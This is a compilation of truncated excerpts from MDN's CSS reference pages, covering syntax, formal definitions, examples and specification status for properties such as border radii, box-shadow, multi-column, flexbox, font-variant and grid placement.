/* <length> values */ /* with one value the corner will be a circle */ border-start-end-radius: 10px; border-start-end-radius: 1em; /* with two values the corner will be an ellipse */ border-start-end-radius: 1em 2em; /* global values */ border-start-end-radius: inherit; border-start-end-radius: initial; border-start-end-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-bottom-left-radius property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...pletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-end-radius' in that specification.
... editor's draft initial definition.
border-start-start-radius - CSS: Cascading Style Sheets
/* <length> values */ /* with one value the corner will be a circle */ border-start-start-radius: 10px; border-start-start-radius: 1em; /* with two values the corner will be an ellipse */ border-start-start-radius: 1em 2em; /* global values */ border-start-start-radius: inherit; border-start-start-radius: initial; border-start-start-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-top-left-radius property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...ext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-start-radius' in that specification.
... editor's draft initial definition.
border-top-left-radius - CSS: Cascading Style Sheets
note: if the value of this property is not set in a border-radius shorthand property that is applied to the element after the border-top-left-radius css property, the value of this property is then reset to its initial value by the shorthand property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...der div { border-top-left-radius: 40%; } the background color is clipped at the border div { border-top-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-left-radius' in that specification.
... candidate recommendation initial definition ...
border-top-right-radius - CSS: Cascading Style Sheets
note: if the value of this property is not set in a border-radius shorthand property that is applied to the element after the border-top-right-radius css property, the value of this property is then reset to its initial value by the shorthand property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...r div { border-top-right-radius: 40%; } the background color is clipped at the border div { border-top-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-right-radius' in that specification.
... candidate recommendation initial definition ...
box-shadow - CSS: Cascading Style Sheets
t-y | blur-radius | color */ box-shadow: 10px 5px 5px black; /* offset-x | offset-y | blur-radius | spread-radius | color */ box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2); /* inset | offset-x | offset-y | color */ box-shadow: inset 5em 1em gold; /* any number of shadows, separated by commas */ box-shadow: 3px 3px red, -1em 0 0.4em olive; /* global keywords */ box-shadow: inherit; box-shadow: initial; box-shadow: unset; specify a single box-shadow using: two, three, or four <length> values.
... formal definition initial valuenoneapplies toall elements.
... html <div><p>hello world</p></div> css p { box-shadow: 0 0 0 2em #f4aab9, 0 0 0 4em #66ccff; margin: 4em; padding:1em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'box-shadow' in that specification.
... candidate recommendation initial definition ...
box-sizing - CSS: Cascading Style Sheets
values content-box this is the initial and default value as specified by the css standard.
... formal definition initial valuecontent-boxapplies toall elements that accept width or heightinheritednocomputed valueas specifiedanimation typediscrete formal syntax content-box | border-box examples box sizes with content-box and border-box this example shows how different box-sizing values alter the rendered size of two otherwise identical elements.
...x width: 160px content box height: 80px */ } .border-box { box-sizing: border-box; /* total width: 160px total height: 80px content box width: 160px - (2 * 20px) - (2 * 8px) = 104px content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */ } result specifications specification status comment css basic user interface module level 3the definition of 'box-sizing' in that specification.
... recommendation initial definition.
column-count - CSS: Cascading Style Sheets
syntax /* keyword value */ column-count: auto; /* <integer> value */ column-count: 3; /* global values */ column-count: inherit; column-count: initial; column-count: unset; values auto the number of columns is determined by other css properties, such as column-width.
... formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="content-box"> this is a bunch of text split into three columns using the css `column-count` property.
...</p> css .content-box { column-count: 3; } result specifications specification status comment css multi-column layout modulethe definition of 'column-count' in that specification.
... working draft initial definition.
column-rule-color - CSS: Cascading Style Sheets
syntax /* <color> values */ column-rule-color: red; column-rule-color: rgb(192, 56, 78); column-rule-color: transparent; column-rule-color: hsla(0, 100%, 50%, 0.6); /* global values */ column-rule-color: inherit; column-rule-color: initial; column-rule-color: unset; the column-rule-color property is specified as a single <color> value.
... formal definition initial valuecurrentcolorapplies tomulticol elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: solid; column-rule-color: blue; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-color' in that specification.
... working draft initial definition.
column-rule-style - CSS: Cascading Style Sheets
syntax /* <'border-style'> values */ column-rule-style: none; column-rule-style: hidden; column-rule-style: dotted; column-rule-style: dashed; column-rule-style: solid; column-rule-style: double; column-rule-style: groove; column-rule-style: ridge; column-rule-style: inset; column-rule-style: outset; /* global values */ column-rule-style: inherit; column-rule-style: initial; column-rule-style: unset; the column-rule-style property is specified as a single <'border-style'> value.
... formal definition initial valuenoneapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-style'> examples setting a dashed column rule html <p>this is a bunch of text split into three columns.
... don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: dashed; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-style' in that specification.
... working draft initial definition.
column-rule-width - CSS: Cascading Style Sheets
syntax /* keyword values */ column-rule-width: thin; column-rule-width: medium; column-rule-width: thick; /* <length> values */ column-rule-width: 1px; column-rule-width: 2.5em; /* global values */ column-rule-width: inherit; column-rule-width: initial; column-rule-width: unset; the column-rule-width property is specified as a single <'border-width'> value.
... formal definition initial valuemediumapplies tomulticol elementsinheritednocomputed valuethe absolute length; 0 if the column-rule-style is none or hiddenanimation typea length formal syntax <'border-width'> examples setting a thick column rule html <p>this is a bunch of text split into three columns.
... don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: solid; column-rule-width: thick; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-width' in that specification.
... working draft initial definition.
column-span - CSS: Cascading Style Sheets
/* keyword values */ column-span: none; column-span: all; /* global values */ column-span: inherit; column-span: initial; column-span: unset; an element that spans more than one column is called a spanning element.
... formal definition initial valuenoneapplies toin-flow block-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | all examples making a heading span columns in this example, the heading is made to span across all the columns of the article.
...the text is equally distributed over the columns.</p> </article> css article { columns: 3; } h2 { column-span: all; } result specifications specification status comment css multi-column layout modulethe definition of 'column-span' in that specification.
... working draft initial definition.
columns - CSS: Cascading Style Sheets
WebCSScolumns
constituent properties this property is a shorthand for the following css properties: column-count column-width syntax /* column width */ columns: 18em; /* column count */ columns: auto; columns: 2; /* both column width and count */ columns: 2 auto; columns: auto 12em; columns: auto auto; /* global values */ columns: inherit; columns: initial; columns: unset; the columns property may be specified as one or two of the values listed below, in any order.
... formal definition initial valueas each of the properties of the shorthand:column-width: autocolumn-count: autoapplies toblock containers except table wrapper boxesinheritednocomputed valueas each of the properties of the shorthand:column-width: the absolute length, zero or largercolumn-count: as specifiedanimation typeas each of the properties of the shorthand:column-width: a lengthcolumn-count: an integer fo...
...</p> css .content-box { columns: 3 auto; } result specifications specification status comment css multi-column layout modulethe definition of 'columns' in that specification.
... working draft initial definition.
contain - CSS: Cascading Style Sheets
WebCSScontain
syntax /* keyword values */ contain: none; contain: strict; contain: content; contain: size; contain: layout; contain: style; contain: paint; /* multiple keywords */ contain: size paint; contain: size layout paint; /* global values */ contain: inherit; contain: initial; contain: unset; the contain property is specified as either one of the following: using a single none, strict, or content keyword.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | strict | content | [ size | layout | style | paint ] examples simple layout the markup below consists of a number of articles, each with content: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another h...
...ore content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; contain: content; } this also means that the first image no longer floats down to the second article, and instead stays inside it's containing element's bounds: specifications specification status comment css containment module level 1the definition of 'contain' in that specification.
... recommendation initial definition ...
counter-set - CSS: Cascading Style Sheets
syntax /* set "my-counter" to 0 */ counter-set: my-counter; /* set "my-counter" to -1 */ counter-set: my-counter -1; /* set "counter1" to 1, and "counter2" to 4 */ counter-set: counter1 1 counter2 4; /* cancel any counter that could have been set in less specific rules */ counter-set: none; /* global values */ counter-set: inherit; counter-set: initial; counter-set: unset; the counter-set property is specified as either one of the following: a <custom-ident> naming the counter, followed optionally by an <integer>.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <custom-ident> <integer>?
... ]+ | none examples setting named counters h1 { counter-set: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-set' in that specification.
... working draft initial definition.
counter() - CSS: Cascading Style Sheets
WebCSScounter
the name cannot start with two dashes and can't be none, unset, initial, or inherit.
...eading-zero compared to lower-alpha html <ol> <li></li> <li></li> <li></li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::after { content: "[" counter(count, decimal-leading-zero) "] == [" counter(count, lower-alpha) "]"; } result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
... working draft no change css level 2 (revision 1)the definition of 'css counters' in that specification.
... recommendation initial definition ...
counters() - CSS: Cascading Style Sheets
WebCSScounters
the name cannot start with two dashes and can't be none, unset, initial, or inherit.
... </li> </ol> </li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::marker { content: counters(count, '.', upper-alpha) ') '; } li::before { content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha); } result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
... working draft no change css level 2 (revision 1)the definition of 'css counters' in that specification.
... recommendation initial definition ...
direction - CSS: Cascading Style Sheets
WebCSSdirection
syntax /* keyword values */ direction: ltr; direction: rtl; /* global values */ direction: inherit; direction: initial; direction: unset; values ltr text and other elements go from left to right.
... formal definition initial valueltrapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax ltr | rtl examples setting right-to-left direction blockquote { direction: rtl; } specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification.
... css level 2 (revision 1)the definition of 'direction' in that specification.
... recommendation initial definition.
empty-cells - CSS: Cascading Style Sheets
syntax /* keyword values */ empty-cells: show; empty-cells: hide; /* global values */ empty-cells: inherit; empty-cells: initial; empty-cells: unset; the empty-cells property is specified as one of the keyword values listed below.
... formal definition initial valueshowapplies totable-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax show | hide example showing and hiding empty table cells html <table class="table_1"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status comment ...
... css level 2 (revision 1)the definition of 'empty-cells' in that specification.
... recommendation initial definition.
filter - CSS: Cascading Style Sheets
WebCSSfilter
alues */ filter: blur(5px); filter: brightness(0.4); filter: contrast(200%); filter: drop-shadow(16px 16px 20px blue); filter: grayscale(50%); filter: hue-rotate(90deg); filter: invert(75%); filter: opacity(25%); filter: saturate(30%); filter: sepia(60%); /* multiple filters */ filter: contrast(175%) brightness(3%); /* use no filter */ filter: none; /* global values */ filter: inherit; filter: initial; filter: unset; with a function, use the following: filter: <filter-function> [<filter-function>]* | none for a reference to an svg <filter> element, use the following: filter: url(file.svg#filter-element-id) interpolation if both the beginning and end filters have a function list of the same length without <url>, each of their filter functions is interpolated according to its specifi...
... height: 100%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typea filter function list formal syntax none | <filter-function-list>where <filter-function-list> = [ <filter-function> | <url> ]+where <filter-function> = <blur()> | <brightness()> | <contrast()> | <drop-shadow...
...ale(50%); } /* gray all images by 50% and blur by 10px */ img { filter: grayscale(0.5) blur(10px); } applying svg filters examples of using the url function with an svg resource are as follows: .target { filter: url(#c1); } .mydiv { filter: url(commonfilters.xml#large-blur); } specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
... working draft initial definition.
flex-direction - CSS: Cascading Style Sheets
syntax /* the direction text is laid out in a line */ flex-direction: row; /* like <row>, but reversed */ flex-direction: row-reverse; /* the direction in which lines of text are stacked */ flex-direction: column; /* like <column>, but reversed */ flex-direction: column-reverse; /* global values */ flex-direction: inherit; flex-direction: initial; flex-direction: unset; values the following values are accepted: row the flex container's main-axis is defined to be the same as the text direction.
... flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> ...
...px solid #c3c3c3; display: flex; flex-direction: column-reverse; } .box { width: 50px; height: 50px; } #content1 { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: row-reverse; } .box1 { width: 50px; height: 50px; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-direction' in that specification.
... candidate recommendation initial definition ...
flex-flow - CSS: Cascading Style Sheets
WebCSSflex-flow
low: <'flex-direction'> */ flex-flow: row; flex-flow: row-reverse; flex-flow: column; flex-flow: column-reverse; /* flex-flow: <'flex-wrap'> */ flex-flow: nowrap; flex-flow: wrap; flex-flow: wrap-reverse; /* flex-flow: <'flex-direction'> and <'flex-wrap'> */ flex-flow: row nowrap; flex-flow: column wrap; flex-flow: column-reverse wrap-reverse; /* global values */ flex-flow: inherit; flex-flow: initial; flex-flow: unset; values see flex-direction and flex-wrap for details on the values.
... formal definition initial valueas each of the properties of the shorthand:flex-direction: rowflex-wrap: nowrapapplies toflex containersinheritednocomputed valueas each of the properties of the shorthand:flex-direction: as specifiedflex-wrap: as specifiedanimation typediscrete formal syntax <'flex-direction'> | <'flex-wrap'> examples setting column-reverse and wrap element { /* main-axis is the block direction with reversed main-start and main-end.
... flex items are laid out in multiple lines */ flex-flow: column-reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification.
... candidate recommendation initial definition ...
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
syntax /* <number> values */ flex-grow: 3; flex-grow: 0.6; /* global values */ flex-grow: inherit; flex-grow: initial; flex-grow: unset; the flex-grow property is specified as a single <number>.
... formal definition initial value0applies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item grow factor html <h4>this is a flex-grow</h4> <h5>a,b,c and f are flex-grow:1 .
...ound-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-around; flex-flow: row wrap; align-items: stretch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
... candidate recommendation initial definition ...
flex-shrink - CSS: Cascading Style Sheets
syntax /* <number> values */ flex-shrink: 2; flex-shrink: 0.6; /* global values */ flex-shrink: inherit; flex-shrink: initial; flex-shrink: unset; the flex-shrink property is specified as a single <number>.
... formal definition initial value1applies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item shrink factor html <p>the width of content is 500px; the flex-basis of the flex items is 120px.</p> <p>a, b, c have flex-shrink:1 set.
...lor:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-basis: 120px; border: 3px solid rgba(0,0,0,.2); } .box { flex-shrink: 1; } .box1 { flex-shrink: 2; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-shrink' in that specification.
... candidate recommendation initial definition ...
font-feature-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-feature-settings: normal; /* set values for opentype feature tags */ font-feature-settings: "smcp"; font-feature-settings: "smcp" on; font-feature-settings: "swsh" 2; font-feature-settings: "smcp", "swsh" 2; /* global values */ font-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; whenever possible, web authors should instead use the font-variant shorthand property or an associated longhand property such as font-variant-ligatures, font-variant-caps, font-variant-east-asian, font-variant-alternates, font-variant-numeric or font-variant-position.
... formal definition initial valuenormalapplies toall elements.
...ions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh" 2; } /* enable stylistic set 7 */ .fancystyle { font-family: gabriola; /* available on windows 7, and on mac os */ font-feature-settings: "ss07"; } specifications specification status comment css fonts module level 3the definition of 'font-feature-settings' in that specification.
... candidate recommendation initial definition ...
font-language-override - CSS: Cascading Style Sheets
/* keyword value */ font-language-override: normal; /* <string> values */ font-language-override: "eng"; /* use english glyphs */ font-language-override: "trk"; /* use turkish glyphs */ /* global values */ font-language-override: initial; font-language-override: inherit; font-language-override: unset; by default, html's lang attribute tells browsers to display glyphs designed specifically for that language.
... formal definition initial valuenormalapplies toall elements.
...g> examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-language-override' in that specification.
... working draft initial definition.
font-size-adjust - CSS: Cascading Style Sheets
/* use the specified font size */ font-size-adjust: none; /* use a font size that makes lowercase letters half the specified font size */ font-size-adjust: 0.5; /* global values */ font-size-adjust: inherit; font-size-adjust: initial; font-size-adjust: unset; the property is useful since the legibility of fonts, especially at small sizes, is determined more by the size of lowercase letters than by the size of capital letters.
... formal definition initial valuenoneapplies toall elements.
...t now adjusted to the same aspect ratio as the verdana.</p> css .times { font-family: times, serif; font-size: 10px; } .verdana { font-family: verdana, sans-serif; font-size: 10px; } .adjtimes { font-family: times, serif; font-size-adjust: 0.58; font-size: 10px; } results specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification.
... candidate recommendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1.
font-variant-caps - CSS: Cascading Style Sheets
syntax /* keyword values */ font-variant-caps: normal; font-variant-caps: small-caps; font-variant-caps: all-small-caps; font-variant-caps: petite-caps; font-variant-caps: all-petite-caps; font-variant-caps: unicase; font-variant-caps: titling-caps; /* global values */ font-variant-caps: inherit; font-variant-caps: initial; font-variant-caps: unset; the font-variant-caps property is specified using a single keyword value from the list below.
... mdn understanding wcag, guideline 1.4 explanations w3c understanding wcag 2.1 formal definition initial valuenormalapplies toall elements.
...ting the small-caps font variant html <p class="small-caps">firefox rocks, small caps!</p> <p class="normal">firefox rocks, normal caps!</p> css .small-caps { font-variant-caps: small-caps; font-style: italic; } .normal { font-variant-caps: normal; font-style: italic; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-caps' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-variant-east-asian - CSS: Cascading Style Sheets
/* <east-asian-variant-values> */ font-variant-east-asian: traditional; /* <east-asian-variant-values> */ font-variant-east-asian: full-width; /* <east-asian-width-values> */ font-variant-east-asian: proportional-width; /* <east-asian-width-values> */ font-variant-east-asian: ruby full-width jis83; /* global values */ font-variant-east-asian: inherit; font-variant-east-asian: initial; font-variant-east-asian: unset; syntax values normal this keyword leads to the deactivation of the use of such alternate glyphs.
... formal definition initial valuenormalapplies toall elements.
...�学</td> </tr> </tbody> </table> css td{ font-family:"yu gothic"; font-size:20px; } th{ color:grey; padding-right:10px; } .ruby { font-variant-east-asian: ruby; } .jis78 { font-variant-east-asian: jis78; } .traditional{ font-variant-east-asian: traditional; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-east-asian' in that specification.
... candidate recommendation initial definition ...
font-variant-ligatures - CSS: Cascading Style Sheets
ariant-ligatures: historical-ligatures; /* <historical-lig-values> */ font-variant-ligatures: no-historical-ligatures; /* <historical-lig-values> */ font-variant-ligatures: contextual; /* <contextual-alt-values> */ font-variant-ligatures: no-contextual; /* <contextual-alt-values> */ /* global values */ font-variant-ligatures: inherit; font-variant-ligatures: initial; font-variant-ligatures: unset; the font-variant-ligatures property is specified as one of the keyword values listed below.
... formal definition initial valuenormalapplies toall elements.
...gatures: historical-ligatures; } .no-historical-ligatures { font-variant-ligatures: no-historical-ligatures; } .contextual { font-variant-ligatures: contextual; } .no-contextual { font-variant-ligatures: no-contextual; } .contextual { font-variant-ligatures: contextual; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-ligatures' in that specification.
... candidate recommendation initial definition ...
font-variant-numeric - CSS: Cascading Style Sheets
rtional-nums; /* <numeric-spacing-values> */ font-variant-numeric: tabular-nums; /* <numeric-spacing-values> */ font-variant-numeric: diagonal-fractions; /* <numeric-fraction-values> */ font-variant-numeric: stacked-fractions; /* <numeric-fraction-values> */ font-variant-numeric: oldstyle-nums stacked-fractions; /* global values */ font-variant-numeric: inherit; font-variant-numeric: initial; font-variant-numeric: unset; this property can take one of two forms: either the keyword value normal or one or more of the other values listed below, space-separated, in any order.
... formal definition initial valuenormalapplies toall elements.
...fl_web */ @font-face { font-family: "source sans pro"; font-style: normal; font-weight: 400; src: url("https://mdn.mozillademos.org/files/15757/sourcesanspro-regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "source sans pro"; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-numeric' in that specification.
... candidate recommendation initial definition ...
font-variant-position - CSS: Cascading Style Sheets
/* keyword values */ font-variant-position: normal; font-variant-position: sub; font-variant-position: super; /* global values */ font-variant-position: inherit; font-variant-position: initial; font-variant-position: unset; when the usage of these alternate glyphs is activated, if one character in the run doesn't have such a typographically-enhanced glyph, the whole set of characters of the run is rendered using a fallback method, synthesizing these glyphs.
... formal definition initial valuenormalapplies toall elements.
... superscript and subscript forms html <p class="normal">normal!</p> <p class="super">super!</p> <p class="sub">sub!</p> css p { display: inline; } .normal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-position' in that specification.
... candidate recommendation initial definition.
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two forms: normal text is laid out using default settings.
... formal definition initial valuenormalapplies toall elements.
... specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
... working draft initial definition ...
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
values */ grid-area: 4 some-grid-area; grid-area: 4 some-grid-area / 2 another-grid-area; /* span && [ <integer> || <custom-ident> ] values */ grid-area: span 3; grid-area: span 3 / span some-grid-area; grid-area: 2 span / another-grid-area span; /* global values */ grid-area: inherit; grid-area: initial; grid-area: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of 1.
... formal definition initial valueas each of the properties of the shorthand:grid-row-start: autogrid-column-start: autogrid-row-end: autogrid-column-end: autoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas each of the properties of the shorthand:grid-row-start: as specifiedgrid-column-start: as specifiedgrid-row-end: as specifiedgrid-colu...
...tem2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1fr) / 50px 100px; } #item1 { background-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 { background-color: yellow; } #item3 { background-color: blue; } result specifications specification status comment css grid layoutthe definition of 'grid-area' in that specification.
... candidate recommendation initial definition ...
grid-auto-flow - CSS: Cascading Style Sheets
syntax /* keyword values */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset; this property may take one of two forms: a single keyword: one of row, column, or dense.
... formal definition initial valuerowapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ row | column ] | dense examples setting grid auto-placement html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> <div id="item4"></div> <div id="item5"></div> </div> <select id="direction" onchange="changegridautoflow()"> <...
..."row" : "column"; if (dense.checked) { gridautoflow += " dense"; } grid.style.gridautoflow = gridautoflow; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-flow' in that specification.
... candidate recommendation initial definition ...
grid-column-end - CSS: Cascading Style Sheets
rd value */ grid-column-end: auto; /* <custom-ident> values */ grid-column-end: somegridarea; /* <integer> + <custom-ident> values */ grid-column-end: 2; grid-column-end: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-column-end: span 3; grid-column-end: span somegridarea; grid-column-end: 5 somegridarea span; /* global values */ grid-column-end: inherit; grid-column-end: initial; grid-column-end: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... formal definition initial valueautoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
...rder-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-end' in that specification.
... candidate recommendation initial definition ...
grid-column-start - CSS: Cascading Style Sheets
column-start: auto; /* <custom-ident> value */ grid-column-start: somegridarea; /* <integer> + <custom-ident> values */ grid-column-start: 2; grid-column-start: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-column-start: span 3; grid-column-start: span somegridarea; grid-column-start: span somegridarea 5; /* global values */ grid-column-start: inherit; grid-column-start: initial; grid-column-start: unset; this property is specified as a single <grid-line> value.
... formal definition initial valueautoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
...rder-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-start' in that specification.
... candidate recommendation initial definition ...
grid-row-end - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-row-end: auto; /* <custom-ident> values */ grid-row-end: somegridarea; /* <integer> + <custom-ident> values */ grid-row-end: 2; grid-row-end: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-row-end: span 3; grid-row-end: span somegridarea; grid-row-end: 5 somegridarea span; /* global values */ grid-row-end: inherit; grid-row-end: initial; grid-row-end: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... formal definition initial valueautoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
...rder-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-end' in that specification.
... candidate recommendation initial definition ...
grid-row-start - CSS: Cascading Style Sheets
/* keyword value */ grid-row-start: auto; /* <custom-ident> values */ grid-row-start: somegridarea; /* <integer> + <custom-ident> values */ grid-row-start: 2; grid-row-start: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-row-start: span 3; grid-row-start: span somegridarea; grid-row-start: 5 somegridarea span; /* global values */ grid-row-start: inherit; grid-row-start: initial; grid-row-start: unset; this property is specified as a single <grid-line> value.
... formal definition initial valueautoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
